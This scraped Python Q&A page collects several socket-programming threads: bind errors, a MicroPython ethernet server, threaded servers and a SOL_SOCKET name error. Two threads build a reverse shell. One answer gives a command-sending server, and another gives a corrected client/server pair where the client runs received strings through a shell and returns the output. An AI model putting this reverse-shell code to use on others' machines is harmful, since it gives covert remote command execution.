Python socket bind ((host, port)) - python

im making a Reverse Shell. and in the server.py file i got this error.
i has trying in de socket_bind() s.bind((host, port))
My code:
def socket_bind():
try:
global host
global port
global s
print("Binding socket to port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket binding error: " + str(msg) + "\n" + "retrying...")
socket_bind()
my error:
Binding socket to port: 90
Traceback (most recent call last):
File "c:/ReverseShell/server.py", line 50, in <module>
main()
File "c:/ReverseShell/server.py", line 47, in main
socket_bind()
File "c:/ReverseShell/server.py", line 21, in socket_bind
s.bind((host, port))
TypeError: an integer is required (got type str)
how can i fix this error?

I know where you get this code. I don't know how to fix it, but you could use the code below for server.
# first import all require module
import socket # For building tcp connection
import os # Using this module for basic operation
os.system ("clear || cls") # it clear the terminal screen
def connect ():
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) # START a socket subject s
s.bind (("192.168.0.200", 9999)) # Define IP and Port
s.listen (1) # listen METHOD for pass the parameter as 1
print ('[+] Listening for incoming TCP connection on port 8080')
conn, addr = s.accept () #I want my server to accept CLIENT AND IP ADRESS BY ACCEPT METHOD
print ('[+] We got a connection from: ', addr)# After accpeted, print out the result
ter = 'terminate'
while True: #while connection is true
command = input ("\nShell>") # Get user input and store it in command variable
if ter in command: # If we type terminate command, so close te connection and break the loop
conn.send (ter.encode('utf-8')) #to send data to client with conn.send()
conn.close ()
break
else:
conn.send(str.encode (command)) #here we will send the command to the target send commands from server to client using python socket
client = str(conn.recv(1024).decode("utf-8"))
print (client) # print the result that we got back
def main():
connect()
main ()

Related

Python-Micropython TCP sockets on w5100s-EVB-Pico

I have a W5100S-EVB-Pico which is basically a Pi Pico with an ethernet port. I would like to send commands to it over a TCP socket connection. Basically I want to control hardware over ethernet using this board.
The W5100 board should be a server that accepts connections/commands.
I plan on programming a GUI in Python to send commands
I'm running this micropython version on it.
Python version 3.7
But this is the problem now: The code below keeps giving me this error: 'OSError: [Errno 107] ENOTCONN'
EDIT_01: It seems like I'm closing the connection too soon from the client side ()
EDIT_02: Do I need some kind of acknowledgement from the server before closing? Or, what are possible ways to implement this kind of communication?
Thanks for reading!
Here's the code and an explanation of what's going on:
The code on the W5100-EVB-Pico:
from machine import Pin, SPI
import network
import usocket as socket
# Only needed for static IP setup:
ip_address = '192.168.1.20'
subnet = '255.255.255.0'
gateway = '192.168.1.1'
dns = '8.8.8.8'
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_port = 8080
# Init ethernet
def init_ethernet():
spi = SPI(0, 2_000_000, mosi=Pin(19), miso=Pin(16), sck=Pin(18))
nic = network.WIZNET5K(spi, Pin(17), Pin(20))
# Static IP:
# nic.ifconfig((ip_address, subnet, gateway, dns))
# DHCP:
nic.active(True)
while not nic.isconnected():
pass
ip_address = nic.ifconfig()[0]
subnet = nic.ifconfig()[1]
gateway = nic.ifconfig()[2]
dns = nic.ifconfig()[3]
print('Connected:')
print('IP ', ip_address)
print('Subnet ', subnet)
print('Gateway ', gateway)
print('DNS ', dns)
listen()
def listen():
server_socket.bind((ip_address, socket_port))
server_socket.listen(5)
print(f'Listening on {ip_address} port {socket_port}')
while True:
print('>>>This should print once and it does')
print('>>>Waiting for connection')
client, address = server_socket.accept()
print(f'Client connected from: {address}')
client.close()
if __name__ == "__main__":
init_ethernet()
The output when running this is:
netif changed 192.168.1.20
Connected:
IP 192.168.1.20
Subnet 255.255.255.0
Gateway 192.168.1.1
DNS 192.168.1.150
Listening on 192.168.1.20 port 8080
>>>This should print once and it does
>>>Waiting for connection
My Python code:
import socket
local_IP = socket.gethostbyname(socket.gethostname())
port = 8080
server_ip = '192.168.1.20'
server_port = 8080
server_address = (server_ip, server_port)
def test_socket():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(server_address)
message = 'Hello from client'
s.sendall(bytes(message, encoding="utf-8"))
if __name__ == '__main__':
test_socket()
As soon as I run this code the output from the W5100 is:
...
>>>This should print once and it does
>>>Waiting for connection
Traceback (most recent call last):
File "<stdin>", line 55, in <module>
File "<stdin>", line 37, in init_ethernet
File "<stdin>", line 49, in listen
OSError: [Errno 107] ENOTCONN
=============================================
EDIT_01:
I found that when I add 'time.sleep(1)' here:
s.sendall(bytes(message, encoding="utf-8"))
time.sleep(1)
s.close()
The error does not occur. Am I closing the socket too soon on the Python side?
=============================================
EDIT_02:
I changed this code on the server:
while True:
print('>>>Waiting for connection')
client, address = server_socket.accept()
print(f'Client connected from: {address}')
data = client.recv(1024).decode()
print(data)
client.close()
And this on the client:
def test_socket():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server_address)
message = 'This is a really long message of many bytes and can\n' \
'even be some very long JSON data?\n' \
'which is pretty awesome!\n' \
'Man This is what I was after !!!'
s.sendall(bytes(message, encoding="utf-8"))
time.sleep(1)
s.close()
However, time.sleep(1) is not the way to go :(
I think I should close the socket after an acknowledgement from the server?
Any hint and tips are welcome,
Thanks!
Ok, the key seems to be error catching in the communication.
This client code works like intended... for now.
import socket
import json
local_IP = socket.gethostbyname(socket.gethostname())
port = 8080
server_ip = '192.168.1.20'
server_port = 8080
server_address = (server_ip, server_port)
commands = [['A', 1, '1234567890_1234567890_1234567890'],
['B', 2, 'hello'],
['C', 3.7],
['D', 4]]
def test_socket():
for c in commands:
send(json.dumps(c))
def send(message):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server_address)
s.sendall(bytes(message, encoding="utf-8"))
try:
received_data, addr = s.recvfrom(128)
print(received_data, addr)
print(received_data.decode('utf-8'))
except socket.error as error:
print(f'Socket error: {error.errno}')
finally:
pass
if __name__ == '__main__':
test_socket()

TCP Server not receiving anything after initial connection. Python

So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3
Here's the client (It's a reverse TCP connection):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Here's the server:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Here's the output that I receive on the server:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.
Halp?
Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
EDIT:
Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.
TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.
The server:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
The client:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Shashank is right, once it has received data once, it gets back to the accept loop.
If you want to keep receiving for this client while accepting new connections you should consider creating a thread which will handle the connection, and then keep accepting new ones in your main.

Socket server running other code and sending updates to clients

This may have been already answered but did not find anything or dont know what to search for. I have a socket server threaded for multiple clients (code below) and want the server to run code (ie. check the status of something) and then send a message to the clients. How do I go about doing this?
To clarify, I need to learn how to add a asynchronous task to this code so it can do checking and send a message to the clients if it needs to
Example: while there are clients connected I want the server to continually check a log file and if it changes and if so I want it to send a message to the clients
Server.py(working code)
from socket import *
import thread
BUFF = 1024
HOST = '127.0.0.1'# must be input parameter #TODO
PORT = 9999 # must be input parameter #TODO
def response(key):
return 'Server response: ' + key
def handler(clientsock,addr):
while 1:
data = clientsock.recv(BUFF)
if not data: break
print repr(addr) + ' recv:' + repr(data)
clientsock.send(response(data))
print repr(addr) + ' sent:' + repr(response(data))
if "close" == data.rstrip(): break # type 'close' on client console to close connection from the server side
clientsock.close()
print addr, "- closed connection" #log on console
if __name__=='__main__':
ADDR = (HOST, PORT)
serversock = socket(AF_INET, SOCK_STREAM)
serversock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
serversock.bind(ADDR)
serversock.listen(5)
while 1:
print 'waiting for connection... listening on port', PORT
clientsock, addr = serversock.accept()
print '...connected from:', addr
thread.start_new_thread(handler, (clientsock, addr))
I have added below code server.py and this works for sending a status change message when log file changes.
import socket
import sys
import time
from thread import *
HOST = 'localhost' # Symbolic name meaning all available interfaces
PORT = 9999 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
#Bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
#Start listening on socket
s.listen(10)
print 'Socket now listening'
#Function for handling connections. This will be used to create threads
def clientthread(conn):
#Sending message to connected client
conn.send('Welcome to the server. Type something and hit enter\n') #send only takes string
data = conn.recv(1024)
#infinite loop so that function do not terminate and thread do not end.
while True:
logfile = open("serverlog.txt","r")
#Receiving from client
logfile.seek(0,2)
while True:
line = logfile.readline()
if not line:
time.sleep(0.1) # Sleep briefly
continue
reply = 'File Changed...Your Data' + data
break
conn.sendall(reply)
#came out of loop
conn.close()
#now keep talking with the client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
#start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function.
start_new_thread(clientthread ,(conn,))
s.close()
To test it run this server.py in one command prompt and keep it open. something like this
> python server.py
Socket created
Socket bind complete
Socket now listening
And run a simple telnet from other cmd prompt to verify the connection
telnet localhost 9999
Replace localhost with IP. Type anything on these telnet connection and you should get response properly.
Also you can check on server.py cmd prompt for the connections made.
And as I mentioned, check this link.

how to multithread on a python server

HELP please i have this code
import socket
from threading import *
import time
HOST = '' # Symbolic name meaning all available interfaces
PORT = 8888 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ('Socket created')
s.bind((HOST, PORT))
print ('Socket bind complete')
s.listen(10)
print ('Socket now listening')
def listen(conn):
odata = ""
end = 'end'
while end == 'end':
data = conn.recv(1024)
if data != odata:
odata = data
print(data)
if data == b'end':
end = ""
print("conection ended")
conn.close()
while True:
time.sleep(1)
conn, addr = s.accept()
print ('Connected with ' + addr[0] + ':' + str(addr[1]))
Thread.start_new_thread(listen,(conn))
and i would like it so that when ever a person comes onto the server it has its own thread. but i can't get it to work please someone help me. :_(
here is the error code:
Socket created
Socket bind complete
Socket now listening
Connected with 127.0.0.1:61475
Traceback (most recent call last):
File "C:\Users\Myles\Desktop\test recever - Copy.py", line 29, in <module>
Thread.start_new_thread(listen,(conn))
AttributeError: type object 'Thread' has no attribute 'start_new_thread'
i am on python version 3.4.0 and here is the users code:
import socket #for sockets
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket Created')
host = 'localhost'
port = 8888
remote_ip = socket.gethostbyname( host )
print('Ip address of ' + host + ' is ' + remote_ip)
#Connect to remote server
s.connect((remote_ip , port))
print ('Socket Connected to ' + host + ' on ip ' + remote_ip)
while True:
message = input("> ")
#Set the whole string
s.send(message.encode('utf-8'))
print ('Message send successfully')
data = s.recv(1024)
print(data)
s.close
The API you're using has moved from thread to _thread, so you'll need to do;
import _thread
The call is on the _thread module and requires a tuple as a second argument, so the correct line to start the thread would be;
_thread.start_new_thread(listen,(conn,))
IMHO, you're on the right track trying to use threading instead though, but that API works differently so you'll have to rewrite the code to make it work. A very brief description how it's used is for example available here.

Error - global name 'SOL_SOCKET is not defined

I am trying to create a basic instant message program that uses a p2p (peer-to-peer) connection so it will not need a server. I am pretty sure nothing is wrong, but every time I run the client program I have created, I get this error:
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
NameError: global name 'SOL_SOCKET' is not defined
Here is the program:
import socket
def Receiver():
# Create socket that supports IPv4, TCP Protocol
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Socket created."
# Requests for IP of host (DNS)
dns = "localhost"
HOST = ''
PORT = 25395
try:
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
except socket.error as serror:
print "socket error"
s.bind((HOST, PORT)) # Listens on all interfaces...
print 'Listening on port 25565'
s.listen(True) # Listen on the newly created socket...
conn, addr = s.accept()
print 'Connected in port 25565'
data = conn.recv(1024)
print data
s.close()
def Sender():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dns = "localhost"
HOST = socket.gethostbyname(dns)
port = 25565
# Connect to server
s.connect((host,port))
print "Socket connected to " + dns + " on IP " + host
# Assign message to be sent to server to a variable
message = raw_input("Message to be sent to server: ")
#Send the actual message to server
s.sendall(message)
print "Message sent successfully"
s.close()
input = raw_input('S is send, R is receive: ')
if input == 's':
Sender()
if input == 'r':
Receiver()
I have tried removing s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) but it tells me that I cannot use 2 sockets on the same port when there isn't 2 sockets using the same port.
In your code:
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
do like:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# ^^^^ added ^^^
because you imported just socket, check following code pieces:
>>> import socket
>>> SOL_SOCKET
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'SOL_SOCKET' is not defined
>>> socket.SOL_SOCKET
1

Categories